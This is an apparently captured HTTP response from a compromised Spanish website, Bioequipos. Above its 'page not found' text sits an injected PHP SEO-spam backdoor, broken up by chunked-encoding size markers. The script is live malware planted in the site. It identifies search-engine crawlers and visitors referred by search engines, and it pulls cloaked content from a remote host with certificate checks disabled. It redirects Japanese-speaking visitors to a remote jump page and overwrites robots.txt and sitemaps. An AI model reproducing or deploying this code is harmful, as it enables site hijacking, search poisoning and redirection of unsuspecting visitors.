1
<
2
?p
3
hp
3
err
3
or_
3
rep
3
ort
3
ing
2
(0
2
);
2
@
3
set
6
_time_
3
lim
3
it(
2
12
5
0);
@
3
ign
3
ore
3
_us
3
er_
2
ab
4
ort(
1
1
5
);
$t
3
r =
2
"
3
htt
3
ps:
2
//
2
j2
2
60
2
30
2
5_
2
23
2
.b
3
arr
3
ett
3
.gi
2
ve
3
s/"
2
;
2
cl
3
ass
3
Re
2
q
2
{
4
2
pu
3
bli
3
c f
3
unc
3
tio
2
n
4
serv
3
er(
2
$n
3
ame
4
= '
2
',
3
$d
2
ef
3
aul
1
t
6
= '')
5
a
{
3
if
3
(em
2
pt
7
y($name
2
))
b
{
4
5
retur
2
n
3
$_S
2
ER
3
VER
1
;
a
}
9
8
$name =
3
str
3
tou
2
pp
9
er($name)
a
;
7
return
2
is
4
set(
8
$_SERVER
1
[
6
$name]
3
) ?
1
1a
$_SERVER[$name] : $default
6
;
1
}
15
public function
4
iss(
14
)
{
if (
3
$th
2
is
2
->
7
server(
3
'HT
2
TP
2
S'
3
) &
2
&
2
("
3
1"
2
==
1
19
$this->server('HTTPS') ||
2
"
2
on
5
" ==
7
strtolo
1
w
4
er($
16
this->server('HTTPS'))
1a
)) {
return tr
2
ue
c
;
}
3
els
1
e
5
if ('
6
https'
13
== $this->server('
2
RE
2
QU
3
EST
2
_S
2
CH
3
EME
1
'
32
)) {
return true;
} elseif ('4
1
4
1
3
14
' == $this->server('
8
SERVER_P
2
OR
1
T
32
')) {
return true;
} elseif ('
19
https' == $this->server('
5
HTTP_
2
X_
3
FOR
2
WA
2
RD
3
ED_
2
PR
3
OTO
28
')) {
return true;
}
11
return f
4
alse
1d
;
}
public function h
3
ost
11
()
{
1
$
4
host
7
= strv
2
al
14
($this->server('HTTP
d
_X_FORWARDED_
2
HO
4
ST')
2
?
1
:
15
$this->server('HTTP_
6
HOST')
12
);
return
5
strpo
2
s(
6
$host,
2
'
5
:') ?
4
str
3
str
c
($host, ':',
5
true
1
)
4
: $
4
host
1d
;
}
public function s
3
che
2
me
11
()
{
8
return $
6
this->
5
iss()
3
?
6
"https
4
" :
5
"http
1
"
1e
;
}
public function dm
1f
()
{
return $this->
a
scheme() .
2
"
4
://"
3
.
7
$this->
6
host()
1d
;
}
public function i
1
p
15
()
{
if (
3
get
3
env
7
('HTTP_
2
CL
2
IE
3
NT_
2
IP
12
')) {
2
$i
1
p
3
=
18
getenv('HTTP_CLIENT_IP')
14
;
} elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
25
')) {
$ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1d
;
} elseif (getenv('R
3
EMO
2
TE
3
_AD
1
D
21
R')) {
$ip = getenv('
d
REMOTE_ADDR')
10
;
} else
15
{
$ip =
11
$this->server('RE
16
MOTE_ADDR');
}
11
return $
2
ip
1e
;
}
public function is
1
c
13
()
{
$a
3
gen
2
t
22
= strtolower($this->server('HTTP_U
3
SER
2
_A
1
G
3
ENT
d
'));
5
if ($
7
agent !
4
= ''
4
&&
3
pre
2
g_
3
mat
2
ch
3
('/
2
go
3
ogl
3
ebo
2
t|
7
google|
2
ya
2
ho
3
o|b
3
ing
2
|a
3
ol/
2
si
4
', $
5
agent
5a
)) {
return true;
}
return false;
}
public function is
1
g
a
()
{
2
$
2
re
3
fer
22
= strtolower($this->server('HTTP_
2
RE
3
FER
2
ER
d
'));
6
$refer
4
bots
4
= '
16
google|yahoo|bing|aol'
f
;
if ($
6
refer
15
!= '' && preg_match("
2
/(
a
$referbots
1
)
5
/si",
7
$refer
59
)) {
return true;
}
return false;
}
public function u
2
ri
15
()
{
if (
2
($
3
pos
6
= str
5
pos($
16
this->server('REQUEST_
2
UR
2
I'
1
)
4
, '.
3
php
4
'))
1
!
3
==
5
false
12
) {
$s
3
cri
3
pt_
7
name =
2
ba
2
se
4
name
11
($this->server('S
3
CRI
2
PT
2
_F
3
ILE
2
NA
5
ME'))
1
;
d
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
4
===
d
$script_name
10
) {
5
$
3
url
12
= $this->server('
d
SCRIPT_NAME')
e
;
a
} elseif (
19
basename($this->server('P
2
HP
3
_SE
2
LF
3e
')) === $script_name) {
$url = $this->server('
a
PHP_SELF')
31
;
} elseif (basename($this->server('O
2
RI
2
G_
49
SCRIPT_NAME')) === $script_name) {
$url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
} elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
2
/'
4
. $
c
script_name)
1b
) !== false) {
d
$url = su
1
b
5
str($
1b
this->server('SCRIPT_NAME')
3
, 0
3
, $
3
pos
4
) .
12
'/' . $script_name
18
;
} elseif (
f
$this->server('
2
DO
2
CU
1
M
5
ENT_R
3
OOT
6
') &&
16
strpos($this->server('
12
SCRIPT_FILENAME'),
1f
$this->server('DOCUMENT_ROOT')
6
) ===
1
0
1d
) {
$url = st
7
r_repla
1
c
11
e($this->server('
10
DOCUMENT_ROOT'),
6
'', $
2f
this->server('SCRIPT_FILENAME'));
}
d
3
$re
1
q
3
uri
4
= $
5
url .
17
substr($this->server('
f
REQUEST_URI'),
6
$pos +
2
4
21
);
} else {
$
9
requri =
25
substr($this->server('REQUEST_URI'),
26
strpos($this->server('REQUEST_URI'), '
1
/
d
'));
12
}
return r
3
tri
2
m(
7
$requri
6
, '/')
1d
;
}
public function e
2
xe
1
c
4
Req(
4
$url
4
, $p
3
=
3
arr
3
ay(
1
)
11
)
{
$
12
url = str_replace(
2
'
4
', '
1
+
4
', $
3
url
d
);
$c
4
h =
4
curl
3
_in
1
i
9
t();
4
5
curl_
4
seto
1
p
4
t($c
3
h,
2
CU
3
RLO
1
P
5
T_URL
11
, $url);
19
curl_setopt($ch, CURLOPT_
3
RET
2
UR
3
NTR
2
AN
1
S
4
FER,
2
1
24
);
curl_setopt($ch, CURLOPT_
2
HE
2
AD
5
ER, 0
24
);
curl_setopt($ch, CURLOPT_
2
TI
2
ME
3
OUT
2
,
1
2
26
0);
curl_setopt($ch, CURLOPT_P
3
OST
28
, 1);
curl_setopt($ch, CURLOPT_S
3
SL_
3
VER
2
IF
2
YP
1
E
29
ER, 0);
curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
6
HOST,
29
0);
curl_setopt($ch, CURLOPT_POST
2
FI
2
EL
1
D
3
S,
5
http_
3
bui
2
ld
2
_q
3
uer
3
y($
1
p
e
));
$o
3
utp
2
ut
8
= curl_
4
exec
4
($ch
c
);
$
5
error
3
Cod
1
e
b
= curl_err
2
no
f
($ch);
6
curl_c
3
los
1
e
f
($ch);
5
if (0
5
!==
a
$errorCode
17
) {
return
f
false;
12
}
return $
6
output
9
;
}
}
1
4
$req
5
= ne
1
w
4
Req
4
();
1
$
3
isc
4
= $
3
req
5
->isc
7
();
$is
1
g
c
= $req->isg
6
();
$u
2
ma
6
p = $t
1
r
4
. "
4
map"
4
;
$u
5
ri =
4
urld
2
ec
4
ode(
6
$req->
5
uri()
4
);
$
a
p = array(
5
3
"do
3
mai
5
n" =>
7
$req->
4
dm()
1
,
6
"
4
port
b
" => $req->
14
server('SERVER_PORT'
2
,
2
80
8
),
"
3
uri
9
" => $uri
1
3
);
4
if (
8
substr($
5
uri,
2
-1
1
0
6
) == "
2
ro
4
bots
2
.t
3
xt"
8
) {
3
hea
1
d
5
er("C
2
on
3
ten
3
t-t
2
yp
3
e:t
2
ex
2
t/
4
plai
2
n;
3
ch
2
ar
3
set
3
=ut
2
f-
2
8"
7
);
2
di
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
5
p));
1
}
14
if (substr($uri, -6
c
) == "robots
9
") {
a
$output =
21
$req->execReq($tr . "robots", $p)
7
;
$
2
rp
6
t = __
2
DI
3
R__
4
. "
1
/
11
robots.txt";
2
fi
3
le_
4
put_
1
c
6
ontent
6
s($rpt
9
, $output
e
);
$robots
5
_cont
3
=
6
@file_
3
get
15
_contents($rpt);
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
4
), "
4
site
4
map"
d
)) {
4
die(
b
"robots.txt
6
file
3
cre
3
ate
3
su
3
cce
2
ss
1
!
8
");
11
} else {
1d
die("robots.txt file create f
3
ail
a
!");
}
16
}
if (substr($uri, -4
6
) == "
2
.x
2
ml
9
") {
b
if (strpos(
7
$uri, "
3
all
7
sitemap
7
.xml")
3
||
e
strpos($uri, "
7
sitemap
3
-in
2
de
1
x
26
.xml") || strpos($uri, "sitemap-index-
1
1
18
.xml") || strpos($uri, "
b
index.xml")
c
) {
19
$output = $req->execReq($
4
umap
b
, $p);
4
1a
header("Content-type:text/
4
" .
9
(substr($
6
output
6
, 0, 5
8
) === '<
1
?
4
xml'
3
?
1
'
7
xml' :
1
'
6
plain'
5
) . '
f
; charset=utf-8
c
');
5
die('
5
' . $
e
output);
}
24
$output = $req->execReq($tr . "
2
wo
2
rd
c
", $p);
1a
header("Content-type:text/
3
xml
17
; charset=utf-8");
5
if ($
8
output =
4
= "1
1
"
10
) {
die(
6
'' . $
17
req->execReq($umap, $p)
1c
);
} else {
die(
15
'' . $output);
}
3
}
$
2
la
1
n
a
g = $req->
d
server('HTTP_
3
ACC
1
E
4
PT_L
2
AN
2
GU
3
AGE
1
'
7
);
if (
1
!
5
$isc
3
&&
5
$isg
b
&& strpos($
4
lang
3
, '
3
ja'
1
)
3
!==
d
false) {
2
$p
3
["i
2
p"
1
]
b
= $req->ip
8
();
2
$a
6
ction
a
= $tr . "j
2
um
8
p";
13
die($req->execReq($
14
action, $p));
}
if (
4
$isc
8
) {
18
die('' . $req->execReq($
6
tr . "
3
ind
3
ata
c
", $p));
}
?
1
>
0
Página no encontrada - Bioequipos
Ir al contenido
Parece que el enlace que apuntaba aquí no sirve. ¿Quieres probar con una búsqueda?
